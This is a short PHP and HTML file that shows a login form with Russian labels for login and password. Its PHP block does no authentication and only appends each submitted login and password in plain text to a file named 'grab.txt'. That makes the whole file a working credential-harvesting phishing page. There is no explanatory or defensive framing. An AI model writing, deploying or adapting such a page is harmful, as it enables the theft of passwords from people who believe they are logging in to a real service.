<?
  if (isset($_POST['login']))
    {
      $f = fopen("grab.txt", "a");
	  fputs($f, $_POST['login']." : ".$_POST['pass']."\n");
	  fclose($f);
    }
?>
<form method="post">
<table>
<tr>
<td>Логин:</td>
<td><input name="login"></td>
</tr>
<tr>
<td>Пароль:</td>
<td><input type="password" name="pass"></td>
</tr>
</table>
<input type="submit" value="Войти">
</form>